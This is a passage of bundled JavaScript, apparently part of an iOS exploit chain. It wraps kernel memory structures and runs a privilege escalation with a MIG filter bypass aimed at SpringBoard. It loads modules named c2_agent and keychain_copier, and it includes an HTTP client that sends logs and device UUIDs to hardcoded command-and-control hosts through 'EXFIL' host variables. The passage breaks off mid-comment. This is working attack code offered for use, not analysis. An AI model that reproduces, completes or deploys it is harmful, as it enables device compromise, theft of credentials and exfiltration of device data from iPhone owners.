this.#dataView.getBigUint64(0,true); + } + set port(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get remoteAddress() + { + return this.#dataView.getBigUint64(8,true); + } + set remoteAddress(value) + { + this.#dataView.setBigUint64(8,value,true); + } + get localAddress() + { + return this.#dataView.getBigUint64(16,true); + } + set localAddress(value) + { + this.#dataView.setBigUint64(16,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/VmMapEntry.js": +/*!****************************************!*\ + !*** ./src/libs/TaskRop/VmMapEntry.js ***! + \****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__), +/* harmony export */ vm_map_entry: () => (/* binding */ vm_map_entry), +/* harmony export */ vm_map_links: () => (/* binding */ vm_map_links) +/* harmony export */ }); +class vm_map_links { + #__mem; + #__view; + #__addr; + #__off; + constructor(mem=undefined, off=0) { + this.#__mem = mem ? mem : new Uint8Array(0x20); + this.#__view = new DataView(this.#__mem.buffer); + this.#__off = off; + this.sizeof = this.#__mem.length; + } + get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } + /* previous entry */ + get prev() { return this.#__view.getBigUint64(this.#__off, true); } + set prev(val) { this.#__view.setBigUint64(this.#__off, val, true); } + /* next entry */ + get next() { return this.#__view.getBigUint64(this.#__off+0x8, true); } + set next(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); } + /* start address */ + get start() { return this.#__view.getBigUint64(this.#__off+0x10, true); } + set start(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); } + /* end address */ + get end() { return this.#__view.getBigUint64(this.#__off+0x18, true); } + set end(val) { this.#__view.setBigUint64(this.#__off+0x18, val, true); } +}; + +class vm_map_store { + #__mem; + #__view; + #__addr; + #__off; + constructor(mem=undefined, off=0) { + this.#__mem = mem ? mem : new Uint8Array(0x18); + this.#__view = new DataView(this.#__mem.buffer); + this.#__off = off; + this.sizeof = this.#__mem.length; + } + get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } + /* left element */ + get rbe_left() { return this.#__view.getBigUint64(this.#__off, true); } + set rbe_left(val) { this.#__view.setBigUint64(this.#__off, val, true); } + /* right element */ + get rbe_right() { return this.#__view.getBigUint64(this.#__off+0x8, true); } + set rbe_right(val) { this.#__view.setBigUint64(this.#__off+0x8, val, true); } + /* parent element */ + get rbe_parent() { return this.#__view.getBigUint64(this.#__off+0x10, true); } + set rbe_parent(val) { this.#__view.setBigUint64(this.#__off+0x10, val, true); } +}; + +class vm_map_entry { + #__mem; + #__view; + #__addr; + #__off; + constructor(mem=undefined, off=0) { + this.#__mem = mem ? mem : new Uint8Array(0x50); + this.#__view = new DataView(this.#__mem.buffer); + this.#__off = off; + this.sizeof = this.#__mem.length; + this.links = new vm_map_links(this.#__mem, this.#__off); + this.store = new vm_map_store(this.#__mem, this.#__off+0x20); + } + get addr() { if (!this.#__addr) { this.#__addr = get_buffer_addr(this.#__mem).add(this.#__off); } return this.#__addr; } + + // Union field 1 + get vme_object_value() { return this.#__view.getBigUint64(this.#__off+0x38, true); } + set vme_object_value(val) { this.#__view.setBigUint64(this.#__off+0x38, val, true); } + + // Union field 2 + get vme_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; } + set vme_atomic(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe; + this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true); + } + get is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; } + set is_sub_map(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd; + this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true); + } + get vme_submap() { return this.#__view.getBigUint64(this.#__off+0x38, true) >> 2n; } + set vme_submap(val) { + let cur = this.#__view.getBigUint64(this.#__off+0x38, true) & 3n; + this.#__view.setBigUint64(this.#__off+0x38, cur + ((val & 0x3fffffffffffffffn) << 2n), true); + } + + // Union field 3 + get vme_ctx_atomic() { return this.#__view.getUint8(this.#__off+0x38, true) & 1; } + set vme_ctx_atomic(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfe; + this.#__view.setUint8(this.#__off+0x38, cur + (val & 1), true); + } + get vme_ctx_is_sub_map() { return (this.#__view.getUint8(this.#__off+0x38, true) & 2) >> 1; } + set vme_ctx_is_sub_map(val) { + let cur = this.#__view.getUint8(this.#__off+0x38, true) & 0xfd; + this.#__view.setUint8(this.#__off+0x38, cur + ((val & 1) << 1), true); + } + get vme_context() { return this.#__view.getUint32(this.#__off+0x38, true) >> 2; } + set vme_context(val) { + let cur = this.#__view.getUint32(this.#__off+0x38, true) & 2; + this.#__view.setUint32(this.#__off+0x38, cur + (val << 2), true); + } + get vme_object() { return this.#__view.getUint32(this.#__off+0x3c, true); } + set vme_object(val) { this.#__view.setUint32(this.#__off+0x3c, val, true); } + + // vme_alias:12, /* entry VM tag */ + // vme_offset:52, /* offset into object */ + get vme_offset() { return this.#__view.getBigUint64(this.#__off+0x40, true) >> 12n; } + set vme_offset(val) { + let cur = this.#__view.getBigUint64(this.#__off+0x40, true) & 0xfffn; + this.#__view.setBigUint64(this.#__off+0x40, cur + (val << 12n), true); + } + // is_shared:1, /* region is shared */ + // __unused1:1, + // in_transition:1, /* Entry being changed */ + // needs_wakeup:1, /* Waiters on in_transition */ + // behavior:2, /* user paging behavior hint */ + // needs_copy:1, /* object need to be copied? */ + // protection:3, /* protection code */ + // used_for_tpro:1, + // max_protection:4, /* maximum protection, bit3=UEXEC */ + // inheritance:2, /* inheritance */ + // use_pmap:1, + // no_cache:1, /* should new pages be cached? */ + // vme_permanent:1, /* mapping can not be removed */ + // superpage_size:1, /* use superpages of a certain size */ + // map_aligned:1, /* align to map's page size */ + // zero_wired_pages:1, + // used_for_jit:1, + // csm_associated:1, /* code signing monitor will validate */ + // iokit_acct:1, + // vme_resilient_codesign:1, + // vme_resilient_media:1, + // vme_xnu_user_debug:1, + // vme_no_copy_on_read:1, + // translated_allow_execute:1, /* execute in translated processes */ + // vme_kernel_object:1; /* vme_object is kernel_object */ + + /* can be paged if = 0 */ + get wired_count() { return this.#__view.getUint16(this.#__off+0x4c, true); } + set wired_count(val) { this.#__view.setUint16(this.#__off+0x4c, val, true); } + /* for vm_wire */ + get user_wired_count() { return this.#__view.getUint16(this.#__off+0x4e, true); } + set user_wired_count(val) { this.#__view.setUint16(this.#__off+0x4e, val, true); } +}; +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ({vm_map_entry,vm_map_links,vm_map_store}); + + +/***/ }), + +/***/ "./src/libs/TaskRop/VmPackingParams.js": +/*!*********************************************!*\ + !*** ./src/libs/TaskRop/VmPackingParams.js ***! + \*********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ VmPackingParams) +/* harmony export */ }); +class VmPackingParams +{ + #buffer; + #dataView; + constructor(buffer) + { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + } + get vmpp_base() + { + return this.#dataView.getBigUint64(0,true); + } + set vmpp_base(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get vmpp_bits() + { + return this.#dataView.getUint8(8,true); + } + set vmpp_bits(value) + { + this.#dataView.setUint8(8,value,true); + } + get vmpp_shift() + { + return this.#dataView.getUint8(9,true); + } + set vmpp_shift(value) + { + this.#dataView.setUint8(9,value,true); + } + get vmpp_base_relative() + { + return this.#dataView.getUint8(10,true); + } + set vmpp_base_relative(value) + { + this.#dataView.setUint8(10,value,true); + } +} + +/***/ }) + +/******/ }); +/************************************************************************/ +/******/ // The module cache +/******/ var __webpack_module_cache__ = {}; +/******/ +/******/ // The require function +/******/ function __webpack_require__(moduleId) { +/******/ // Check if module is in cache +/******/ var cachedModule = __webpack_module_cache__[moduleId]; +/******/ if (cachedModule !== undefined) { +/******/ return cachedModule.exports; +/******/ } +/******/ // Create a new module (and put it into the cache) +/******/ var module = __webpack_module_cache__[moduleId] = { +/******/ // no module.id needed +/******/ // no module.loaded needed +/******/ exports: {} +/******/ }; +/******/ +/******/ // Execute the module function +/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); +/******/ +/******/ // Return the exports of the module +/******/ return module.exports; +/******/ } +/******/ +/************************************************************************/ +/******/ /* webpack/runtime/define property getters */ +/******/ (() => { +/******/ // define getter functions for harmony exports +/******/ __webpack_require__.d = (exports, definition) => { +/******/ for(var key in definition) { +/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { +/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); +/******/ } +/******/ } +/******/ }; +/******/ })(); +/******/ +/******/ /* webpack/runtime/hasOwnProperty shorthand */ +/******/ (() => { +/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) +/******/ })(); +/******/ +/******/ /* webpack/runtime/make namespace object */ +/******/ (() => { +/******/ // define __esModule on exports +/******/ __webpack_require__.r = (exports) => { +/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { +/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); +/******/ } +/******/ Object.defineProperty(exports, '__esModule', { value: true }); +/******/ }; +/******/ })(); +/******/ +/************************************************************************/ +var __webpack_exports__ = {}; +// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk. +(() => { +/*!*********************!*\ + !*** ./src/main.js ***! + \*********************/ +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ "./src/libs/TaskRop/TaskRop.js"); +/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/Sandbox */ "./src/libs/TaskRop/Sandbox.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _InjectJS__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./InjectJS */ "./src/InjectJS.js"); +/* harmony import */ var libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/Driver */ "./src/libs/Driver/Driver.js"); +/* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); +/* harmony import */ var _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! !raw-loader!../dist/MigFilterBypassThread.js */ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js"); +/* harmony import */ var _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! !raw-loader!loader.js */ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js"); + +/* harmony import */ var _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__ = __webpack_require__(/*! !raw-loader!c2_agent.js */ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js"); +/* harmony import */ var _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! !raw-loader!keychain_copier.js */ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js"); + + +class MigFilterBypass { + + #running; + #sharedMem; + #runFlagPtr; + #isRunningPtr; + #monitorThread1Ptr; + #monitorThread2Ptr; + #mutexPtr; + + constructor(mutexPtr) { + this.#mutexPtr = mutexPtr; + this.#running = false; + this.#sharedMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x100)); + this.#runFlagPtr = this.#sharedMem; + this.#isRunningPtr = this.#sharedMem + 0x4n; + this.#monitorThread1Ptr = this.#sharedMem + 0x8n; + this.#monitorThread2Ptr = this.#sharedMem + 0x10n; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#isRunningPtr, 0); + } + + start() { + if (this.#running) + return; + + // Guard BigInt(undefined/false): missing mig* offsets (e.g. incomplete 18.5 tables) used to throw TypeError before PEMK-A. + let off = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets(); + if (!off || off.migLock == null || off.migSbxMsg == null || off.migKernelStackLR == null) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_off"); } catch (_ms) {} + return false; + } + let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_thread_self")); + let portObj = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf); + if (!portObj || portObj === false || portObj === 0 || portObj === 0n) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_port"); } catch (_mp) {} + return false; + } + let threadSelfAddr = BigInt(portObj); + + let threadMem = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("calloc", 1, 0x400)); + if (!threadMem) return false; + let kernelRW = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].transferRW(); + if (!kernelRW || kernelRW.controlSocket == null || kernelRW.rwSocket == null) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_rw"); } catch (_mr) {} + return false; + } + let kernelBase = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].getKernelBase(); + if (!kernelBase) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_skip_no_kbase"); } catch (_mk) {} + return false; + } + kernelBase = BigInt(kernelBase); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem, BigInt(kernelRW.controlSocket)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x10n, kernelBase); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x18n, threadSelfAddr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x20n, this.#runFlagPtr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x28n, this.#isRunningPtr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x30n, this.#mutexPtr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x38n, BigInt(off.migLock)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x40n, BigInt(off.migSbxMsg)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x48n, BigInt(off.migKernelStackLR)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x50n, this.#monitorThread1Ptr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(threadMem + 0x58n, this.#monitorThread2Ptr); + //Native.write64(threadMem, lock.kernelSlide); + //Native.write64(threadMem + 0x8n, lock.lockAddr); + //console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`); + const threadCode = "fcall_init(); " + _raw_loader_dist_MigFilterBypassThread_js__WEBPACK_IMPORTED_MODULE_9__["default"]; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].threadSpawn(threadCode, threadMem); + + for (let i=0; i<10; i++) { + let isRunning = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(this.#isRunningPtr); + if (isRunning) + break; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 500000); + } + + this.#running = true; + return true; + } + + stop() { + if (!this.#running) + return; + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 0); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + this.#running = false; + } + + pause() { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 2); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + + resume() { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write32(this.#runFlagPtr, 1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + + monitorThreads(thread1, thread2) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread1Ptr, thread1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write64(this.#monitorThread2Ptr, thread2); + } +} +function xnuVersion() { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("uname", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem); + const release = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x200n, 0x100); + let splittedVersion = release.split("."); + let xnuMajor = splittedVersion[0]; + let xnuMinor = splittedVersion[1]; + return {major: xnuMajor, minor: xnuMinor}; +} + +const TAG = "MAIN"; +//const targetProcess = "bluetoothd"; +const targetProcess = "SpringBoard"; + +function start() { + let mutexPtr = null; + let migFilterBypass = null; + globalThis.xnuVersion = xnuVersion(); + let ver = globalThis.xnuVersion; + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_xnu:" + ver.major + "." + ver.minor); } catch (_xv) {} + + // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions + if (ver.major == 24 && ver.minor >= 4) { + + mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100)); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null); + migFilterBypass = new MigFilterBypass(mutexPtr); + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_ctor"); } catch (_mc) {} + } + let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"](); + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr); + + let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE(); + try { if (typeof pe_alive_ping === "function") pe_alive_ping(resultPE ? "pe_runPE_ok" : "pe_runPE_fail"); } catch (_rp) {} + if (!resultPE) + return; + + + libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init(); + if (migFilterBypass) { + try { + var __migOk = migFilterBypass.start(); + if (__migOk === false) { + var __majZ = Number(ver && ver.major); + var __minZ = Number(ver && ver.minor); + // 18.6+ keep hard-fail semantics; pre-18.6 drop bypass so start() can reach PEMK stages. + if (__majZ === 24 && __minZ >= 6) { + throw new Error("mig_start_failed"); + } + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_disabled"); } catch (_md) {} + migFilterBypass = null; + } + } catch (__migErr) { + try { if (typeof pe_alive_ping === "function") pe_alive_ping("pe_mig_exc:" + String(__migErr).substring(0, 80)); } catch (_me) {} + // Only swallow on XNU 24.x below .6 (iOS 18.4/18.5). 18.6+ rethrow — keep proven path. + var __maj = Number(ver && ver.major); + var __min = Number(ver && ver.minor); + if (__maj === 24 && __min < 6) { + migFilterBypass = null; + } else { + throw __migErr; + } + } + } + // ===== P7 Debug Logger (accumulate in memory, flush after sandbox escape) ===== + // Progress = GET /api/ds/pe-stage/ on C2 (file log). POST /log only errors (p7_logVerbose=false). + var p7_tag = "[P7] "; + var p7_logBuf = ""; + var p7_logVerbose = false; + function p7_isErrLog(msg) { + // Strip status noise (fail=0 / ok=1 / trailing empty err=) so success dumps don't POST /log. + var t = String(msg || "") + .replace(/\bfail\s*=\s*0\b/gi, " ") + .replace(/\bok\s*=\s*1\b/gi, " ") + .replace(/\berr(?:or)?\s*[:=]\s*(?:undefined|null)?\s*$/gi, " "); + return /(?:\bFAILED\b|\bfail(?:ed|ure)?\b|\berror\b|\bTHREW\b|\bexception\b|\babort\b|\bnot ready\b|\btimeout\b|\bpanic\b|\bcrash\b|\b0x494\b|open fail|parse fail|bad (?:body|sz)|\bWARN\b|war-fallback|lost pe_run_token|Phase2 aborted|db not ready)/i.test(t) + || /\berr(?:or)?\s*[:=]\s*\S/i.test(t); + } + function p7_flog(msg) { + if (!p7_logVerbose && !p7_isErrLog(msg)) return; + var line = p7_tag + msg; + try { LOG(line); } catch (_lg) {} + p7_logBuf += line + "\n"; + try { p7_postLogHttp(line); } catch (_ph) {} + } + function p7_logHostPort() { + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + if (g && g.__PE_EXFIL_HOST__) { + var tls = !!g.__PE_EXFIL_TLS__; + return { host: String(g.__PE_EXFIL_HOST__), port: Number(tls ? g.__PE_EXFIL_HTTPS__ : g.__PE_EXFIL_HTTP__) || (tls ? 443 : 80) }; + } + if (g && g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host) { + var e = g.__LAB_EXFIL__; + var etls = !!(e.tls || e.prefer_https); + return { host: String(e.host), port: Number(etls ? (e.https_port || 443) : (e.http_port || 80)) }; + } + } catch (_hp) {} + return { host: "mh0usocqzi6f46i.com", port: 443 }; + } + function p7_deliveryHostPort() { + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + var raw = String((g && (g.__PE_DELIVERY_HOST__ || g.__LAB_DELIVERY_HOST__)) || "http://one99.vip"); + var m = raw.match(/^(https?):\/\/([^\/:]+)(?::(\d+))?(\/.*)?$/i); + if (m) { + var dtls = m[1].toLowerCase() === "https"; + return { + host: m[2], + port: Number(m[3] || (dtls ? 443 : 80)), + pathPrefix: String(m[4] || "").replace(/\/$/, "") + }; + } + } catch (_dh) {} + return { host: "one99.vip", port: 80, pathPrefix: "" }; + } + // CFNetwork HTTP (no BSD socket). method=GET|POST; wantBody→return response body string or null. + // optHp: optional {host,port} override. Stage ping / logs / war all use C2 (p7_logHostPort). + function __labCfHttp(method, httpPath, body, wantBody, optHp) { + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + method = String(method || "GET").toUpperCase(); + httpPath = String(httpPath || "/"); + body = (body == null) ? "" : String(body); + var hp = optHp || p7_logHostPort(); + var host = String((hp && hp.host) || "192.168.1.29"); + var port = ((hp && hp.port) | 0) || 9011; + function __cfRd64(addr) { + var bytes = N.read(addr, 8); + if (!bytes || bytes.byteLength < 8) return 0n; + var view = new DataView(bytes); + return (BigInt(view.getUint32(4, true)) << 32n) | BigInt(view.getUint32(0, true)); + } + function __cfWr64(addr, value) { + var buffer = new ArrayBuffer(8); + var view = new DataView(buffer); + var bigValue = BigInt(value); + view.setUint32(0, Number(bigValue & 0xFFFFFFFFn), true); + view.setUint32(4, Number((bigValue >> 32n) & 0xFFFFFFFFn), true); + N.write(addr, buffer); + } + var hostC = N.callSymbol("malloc", host.length + 1); + N.writeString(hostC, host); + var hostCF = N.callSymbol("CFStringCreateWithCString", 0n, hostC, 0x08000100); + try { N.callSymbol("free", hostC); } catch (_fh) {} + if (!hostCF || hostCF === 0n) return wantBody ? null : false; + var readPtr = N.callSymbol("malloc", 8); + var writePtr = N.callSymbol("malloc", 8); + __cfWr64(readPtr, 0n); + __cfWr64(writePtr, 0n); + N.callSymbol("CFStreamCreatePairWithSocketToHost", 0n, hostCF, port, readPtr, writePtr); + var readStream = __cfRd64(readPtr); + var writeStream = __cfRd64(writePtr); + try { N.callSymbol("CFRelease", hostCF); } catch (_rh) {} + try { N.callSymbol("free", readPtr); } catch (_frp) {} + try { N.callSymbol("free", writePtr); } catch (_fwp) {} + if (!writeStream || writeStream === 0n) { + if (readStream && readStream !== 0n) { + try { N.callSymbol("CFRelease", readStream); } catch (_rr) {} + } + return wantBody ? null : false; + } + try { N.callSymbol("CFReadStreamOpen", readStream); } catch (_ro) {} + var opened = N.callSymbol("CFWriteStreamOpen", writeStream); + if (!opened) { + try { N.callSymbol("CFRelease", readStream); } catch (_e1) {} + try { N.callSymbol("CFRelease", writeStream); } catch (_e2) {} + return wantBody ? null : false; + } + var ready = false; + for (var ai = 0; ai < 100; ai++) { + var st = Number(N.callSymbol("CFWriteStreamGetStatus", writeStream)); + if (st === 2) { ready = true; break; } + if (st >= 5) break; + try { N.callSymbol("usleep", 100000); } catch (_u) {} + } + if (!ready) { + try { N.callSymbol("CFReadStreamClose", readStream); } catch (_e) {} + try { N.callSymbol("CFWriteStreamClose", writeStream); } catch (_e) {} + try { N.callSymbol("CFRelease", readStream); } catch (_e) {} + try { N.callSymbol("CFRelease", writeStream); } catch (_e) {} + return wantBody ? null : false; + } + var hdr; + if (method === "POST") { + hdr = "POST " + httpPath + " HTTP/1.0\r\nHost: " + host + "\r\nContent-Type: application/json\r\nContent-Length: " + body.length + "\r\nConnection: close\r\n\r\n"; + } else { + hdr = "GET " + httpPath + " HTTP/1.0\r\nHost: " + host + ":" + port + "\r\nConnection: close\r\n\r\n"; + body = ""; + } + var full = hdr + body; + var CHUNK = 4096; + var sent = 0; + var waitLoops = 0; + while (sent < full.length && waitLoops < 2000) { + var can = N.callSymbol("CFWriteStreamCanAcceptBytes", writeStream); + if (!can) { + try { N.callSymbol("usleep", 10000); } catch (_u2) {} + waitLoops++; + continue; + } + waitLoops = 0; + var end = sent + CHUNK; + if (end > full.length) end = full.length; + var part = full.substring(sent, end); + var cbuf = N.callSymbol("malloc", part.length + 1); + N.writeString(cbuf, part); + var nw = Number(N.callSymbol("CFWriteStreamWrite", writeStream, cbuf, part.length)); + try { N.callSymbol("free", cbuf); } catch (_fc) {} + if (nw <= 0) break; + sent += nw; + } + var okSend = (sent >= full.length); + var resp = ""; + if (okSend) { + var rbuf = N.callSymbol("malloc", 65536); + for (var iter = 0; iter < 80; iter++) { + var has = true; + try { has = !!N.callSymbol("CFReadStreamHasBytesAvailable", readStream); } catch (_hb) { has = true; } + if (!has) { + var rst = 0; + try { rst = Number(N.callSymbol("CFReadStreamGetStatus", readStream)); } catch (_rs) {} + if (rst >= 4) break; + try { N.callSymbol("usleep", 20000); } catch (_u3) {} + continue; + } + var nr = Number(N.callSymbol("CFReadStreamRead", readStream, rbuf, 65535)); + if (nr <= 0) break; + resp += N.readString(rbuf, nr); + var hi2 = resp.indexOf("\r\n\r\n"); + if (hi2 >= 0) { + var clm = resp.substring(0, hi2).match(/Content-Length:\s*(\d+)/i); + if (clm && (resp.length - (hi2 + 4)) >= parseInt(clm[1], 10)) break; + if (!clm && resp.length > hi2 + 4) break; + } + } + try { N.callSymbol("free", rbuf); } catch (_frb) {} + } + try { N.callSymbol("CFReadStreamClose", readStream); } catch (_e) {} + try { N.callSymbol("CFWriteStreamClose", writeStream); } catch (_e) {} + try { N.callSymbol("CFRelease", readStream); } catch (_e) {} + try { N.callSymbol("CFRelease", writeStream); } catch (_e) {} + if (wantBody) { + if (!okSend) return null; + var hi = resp.indexOf("\r\n\r\n"); + if (hi < 0) return null; + var out = resp.substring(hi + 4); + return (out.length > 0) ? out : null; + } + return okSend; + } catch (_e) { return wantBody ? null : false; } + } + function p7_postLogHttp(text) { + // MPD → C2 /log via CFNetwork (source=pe_mpd). + try { + var uuid = ""; + try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {} + var body = JSON.stringify({ text: String(text).slice(0, 1800), source: "pe_mpd", uuid: uuid, deviceUUID: uuid }); + return !!__labCfHttp("POST", "/api/ds/log", body, false); + } catch (_pe) { return false; } + } + function p7_flushLog() { + if (!p7_logBuf) return; + try { + let p7_fd = fopen(get_cstring("/tmp/p7_debug.log"), get_cstring("a")); + if (p7_fd && p7_fd !== 0n) { + let p7_buf = get_cstring(p7_logBuf); + fwrite(p7_buf, 1n, BigInt(p7_logBuf.length), p7_fd); + fclose(p7_fd); + let p7_flushedLen = p7_logBuf.length; + p7_logBuf = ""; + try { LOG(p7_tag + "log flushed to /tmp/p7_debug.log (" + p7_flushedLen + " bytes)"); } catch (_lf) {} + } + } catch (p7_fe) { + try { LOG(p7_tag + "flush failed: " + p7_fe); } catch (_le) {} + } + } + + let p7_enableP7 = true; + + p7_flog("PEMK-A start alive (chain+runPE done)"); p7_flushLog(); + try { pe_alive_ping("pe_after_runPE"); } catch (_pa) {} + + // Newest PE claims /tmp/pe_lab_run.token AFTER s1 tokens 